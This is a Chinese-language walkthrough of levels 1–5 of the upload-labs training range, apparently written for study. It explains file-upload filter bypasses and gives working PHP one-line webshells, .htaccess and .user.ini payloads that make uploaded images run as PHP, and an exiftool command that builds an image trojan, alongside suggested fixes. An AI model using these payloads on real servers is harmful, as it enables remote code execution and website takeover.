upload-labs PASS 1-5通關

PASS-01 前端javascript檢查

1，第一個提示javascript對上傳的文件進行審查

2，javascript工作在前端頁面，可以直接刪除具有審查功能的代碼

3，刪除之后再上傳一句話木馬

上傳成功，可以使用蟻劍進行連接，控制網站

第一關的防御機制在前端（客戶端），操作是javascript過濾：function checkFile()，定義了一個檢查文件后綴名的函數，只允許圖片類型文件上傳

PASS-02 MIME繞過

1，第二關提示本pass在服務端對數據包的MIME進行檢查。

?檢查 MIME 類型通常涉及以下幾個步驟：

1. 獲取請求的 MIME 類型

在接收到客戶端發送的數據包后，服務端可以通過 HTTP 請求頭中的 Content-Type 字段來獲取請求的 MIME 類型。這個字段通常會告訴服務器，數據包的格式（如 JSON、XML、圖片等）。

例如，對于一個 POST 請求，Content-Type 可能是這樣的：

application/json
application/xml
multipart/form-data（通常用于上傳文件）
image/jpeg

2. 驗證 MIME 類型

服務端需要驗證這個 MIME 類型是否符合預期，防止惡意用戶偽造數據包類型。一般來說，有以下幾種方式來驗證 MIME 類型：

a. 通過 HTTP 頭檢查

檢查 HTTP 請求頭中的 Content-Type 是否符合預期類型。如果客戶端發送的類型不匹配，可以返回 400 或 415 錯誤響應。

例如：

if request.headers.get('Content-Type') != 'application/json':
??? return 'Invalid Content-Type', 415

b. 文件擴展名檢查

對于上傳文件的情況，服務端可能會根據文件的擴展名來進一步驗證 MIME 類型，例如確認上傳的文件確實是 .jpg 擴展名的圖片，且 MIME 類型為 image/jpeg。

3. 解析數據并驗證格式

僅僅驗證 MIME 類型可能不足夠，還需要根據數據的格式進一步進行驗證。例如：

JSON 驗證：如果 Content-Type 是 application/json，服務端需要檢查接收到的內容是否為有效的 JSON 格式。
- 如果 JSON 格式不合法，可以返回 400 錯誤。
圖片文件驗證：如果是圖片，服務端可以使用文件頭（Magic Bytes）來驗證文件的實際格式，而不僅僅依賴于 MIME 類型。
- 比如：對于 JPEG 文件，文件的前兩個字節通常是 0xFF, 0xD8，如果 MIME 類型是 image/jpeg，但文件頭不匹配，可以認為是偽造的文件。

4. 防止 MIME 類型欺騙

由于客戶端可以偽造 Content-Type 頭，單靠頭部信息并不安全。服務器可以采取以下措施進一步保護：

檢查數據的 Magic Bytes：特別是在處理文件上傳時，讀取數據的前幾個字節來判斷文件類型，而不僅僅依賴 Content-Type。
多重驗證：對于某些特定格式的數據（如圖片、音頻等），可以通過第三方庫或算法進一步驗證數據的結構和內容。

類型	描述	典型示例
text	表明文件是普通文本，理論上是人類可讀	text/plain, text/html, text/css, text/javascript
image	表明是某種圖像。不包括視頻，但動態圖（如動態GIF）也使用image類型	image/gif, image/png, image/jpeg, image/bmp, image/webp, image/x-icon, image/vnd.microsoft.icon
audio	表明是某種音頻文件	audio/midi, audio/mpeg, audio/webm, audio/ogg, audio/wav
video	表明是某種視頻文件	video/webm, video/ogg
application	表明是某種二進制數據	application/octet-stream, application/pkcs12, application/vnd.mspowerpoint, application/xhtml+xml, application/xml, application/pdf

2，那么思路就是burp suite抓包，然后對content-type進行修改。掛上代理，然后抓包，右鍵發送到repeater模塊，然后修改為image/png

上傳成功

PASS-03 上傳特殊可解析后綴

1，本關禁止上傳.asp|.aspx|.php|.jsp后綴文件，嘗試burpsuite抓包該后綴名進行繞過

結果還是發生報錯

查看源碼這是因為后端對文件后綴名進行了審查過濾

2，在某些特定環境中某些特殊后綴仍會被當作php文件解析 php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml。

這里用.ptml試一下，直接上傳一個名為1.phtml的文件，可以發現直接上傳成功

成功上傳

PASS-04 利用?.htaccess?繞過

代碼審計分析

1. 黑名單過濾機制缺陷

$deny_ext = array(".php",".php5",...,".phtml",...); // 黑名單列表
$file_ext = strrchr($file_name, '.'); // 提取擴展名

繞過風險：
末尾點繞過：若文件名形如?shell.phtml.，strrchr?提取的擴展名為?.phtml.，不在黑名單中，可能繞過檢測。部分服務器（如Apache）會忽略末尾點，仍按?.phtml?解析。
未覆蓋新擴展名：如?.php7、.phar?等未在黑名單中，可能被利用。
.htaccess?攻擊：黑名單未包含?.htaccess，攻擊者可上傳此文件修改解析規則（如?AddType application/x-httpd-php .abc），后續上傳?.abc?的Webshell。

2. 文件名處理邏輯問題

deldot?函數未明確定義：若僅刪除末尾單個點，多重點（如?shell.php..）可能殘留末尾點，導致擴展名誤判。
路徑遍歷風險：未過濾?../?等字符，攻擊者可能通過?../../shell.phtml?將文件上傳到非預期目錄。

3. 服務器解析漏洞依賴

即使繞過黑名單，仍需依賴服務器配置漏洞（如解析?shell.php.jpg?為 PHP），但代碼本身未對內容做驗證。

攻擊場景示例

1. 利用?.htaccess?繞過

上傳?.htaccess?文件，內容為：
AddType application/x-httpd-php .phtml .jpg

上傳 WebShell 文件?shell.jpg，內容為：
<?php @eval($_POST['cmd']); ?>

蟻劍通過?http://3b04a012-9abc-46c1-b9fa-0cb64af9074d.node5.buuoj.cn:81/upload/shell.jpg 連接

PASS-05 黑名單驗證，.user.ini.

代碼審計分析

1. 大小寫繞過漏洞（高危）

漏洞原理：

黑名單雖包含部分大小寫變種（如?.pHp），但未覆蓋?全大寫擴展名（如?.PHP、.PHP5）。由于代碼未統一轉換為小寫進行校驗，攻擊者可構造特定擴展名繞過檢測。

利用方式：

上傳文件名為?shell.PHP，擴展名?.PHP?不在黑名單中（黑名單僅含?.pHp）。
在 Windows/Linux 服務器上均可能繞過檢測并執行。

修復建議：

$file_ext = strtolower($file_ext); // 統一轉換為小寫后再檢查黑名單?

2. 特殊擴展名繞過（高危）

漏洞原理：

黑名單未覆蓋以下危險擴展名：

.phar：PHP 歸檔文件，可直接執行代碼。
.phtml?重復處理缺陷：雖然黑名單包含?.phtml，但若攻擊者構造?.PHTML（全大寫）仍可繞過。
.inc：部分服務器配置會解析為 PHP。

利用方式：

上傳文件?shell.phar，繞過黑名單檢測。
通過 URL 直接訪問上傳的?.phar?文件觸發代碼執行。

3. 路徑遍歷攻擊（中危）

漏洞原理：

代碼未對文件名中的路徑字符（如?../）進行過濾，攻擊者可構造文件名將文件上傳到非預期目錄。

利用方式：

上傳文件名設為?../../shell.php，若服務器處理不當，文件可能被保存到 Web 根目錄外的敏感路徑（如?/var/www/html?的上級目錄）。
配合其他漏洞（如本地文件包含）觸發執行。

修復建議：

$file_name = str_replace(['../', './'], '', $file_name); // 過濾路徑遍歷字符?

4. 雙擴展名解析漏洞（高危）

漏洞原理：

若服務器配置錯誤（如 Apache 的?mod_mime?解析缺陷），可能將?shell.php.jpg?識別為 PHP 文件。代碼僅檢查最后一個擴展名（.jpg），導致繞過。

利用方式：

上傳文件名為?shell.php.jpg，擴展名檢測為?.jpg，繞過黑名單。
通過服務器解析漏洞（如?AddHandler application/x-httpd-php .jpg）觸發 PHP 代碼執行。

5. .htaccess 攻擊（高危）

漏洞原理：

雖然黑名單包含?.htaccess，但代碼未徹底處理大小寫（如?.Htaccess）。若攻擊者上傳惡意?.htaccess?文件，可控制服務器解析規則。

利用方式：

上傳文件名為?.Htaccess，內容為：
AddType application/x-httpd-php .abc?
上傳 WebShell 文件?shell.abc，內容為 PHP 代碼。
訪問?shell.abc?觸發代碼執行。

6. 文件內容未校驗（中危）

漏洞原理：

代碼僅校驗擴展名，未檢查文件內容。攻擊者可上傳圖片馬（如?shell.jpg?內含 PHP 代碼），配合服務器解析漏洞或文件包含漏洞執行代碼。

利用方式：

生成圖片馬：
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.jpg?
上傳?shell.jpg，通過文件包含漏洞執行：
http://target.com/include.php?file=uploads/202310011200001234.jpg&cmd=id

漏洞利用綜合示例

場景：利用大小寫繞過 + 雙擴展名攻擊

上傳文件名為?shell.PHP.jpg，擴展名檢測為?.jpg，繞過黑名單。
服務器配置錯誤（如 Apache 解析?php?優先級高于?jpg），將文件解析為 PHP。
通過 URL 訪問上傳文件執行代碼：

http://target.com/uploads/202310011200001234.PHP.jpg?

.user.ini?文件詳解

1. 基本概念

定義：.user.ini?是 PHP 的本地配置文件，用于覆蓋?php.ini?中的配置項。
作用范圍：僅對?當前目錄及其子目錄?生效（需 PHP 運行在 FastCGI 模式）。
優先級：php.ini?<?.htaccess?(Apache) <?.user.ini。

2. 核心用途

通過以下指令控制 PHP 行為：

auto_prepend_file：

在所有 PHP 文件執行前自動包含指定文件。
示例：auto_prepend_file = "header.php"

auto_append_file：

在所有 PHP 文件執行后自動包含指定文件。
示例：auto_append_file = "footer.php"

其他常用指令：

max_execution_time（腳本最大執行時間）
memory_limit（內存限制）
upload_max_filesize（文件上傳大小限制）

3. 攻擊利用場景

漏洞原理：

攻擊者可上傳惡意?.user.ini?文件，結合其他文件（如圖片馬）實現代碼執行。

攻擊步驟示例：

上傳?.user.ini：
auto_prepend_file = "shell.jpg"? ; 自動包含圖片馬
上傳圖片馬?shell.jpg：
<?php @eval($_POST['cmd']);?>?
觸發執行：

訪問該目錄下的任意 PHP 文件（如?index.php），會先加載?shell.jpg?中的代碼。

4. 防御措施

禁止上傳?.user.ini：
$deny_ext = array_merge($deny_ext, ['.user.ini']);?
限制目錄權限：

設置上傳目錄的 PHP 文件不可執行（Nginx 示例）：
location /uploads/ {?
??? deny all;?
}?

服務器配置加固：

在?php.ini?中禁用危險指令：
user_ini.filename = ""????????? ; 禁用 .user.ini?
allow_url_include = Off???????? ; 禁止遠程文件包含?
open_basedir = /var/www/html??? ; 限制 PHP 文件訪問范圍?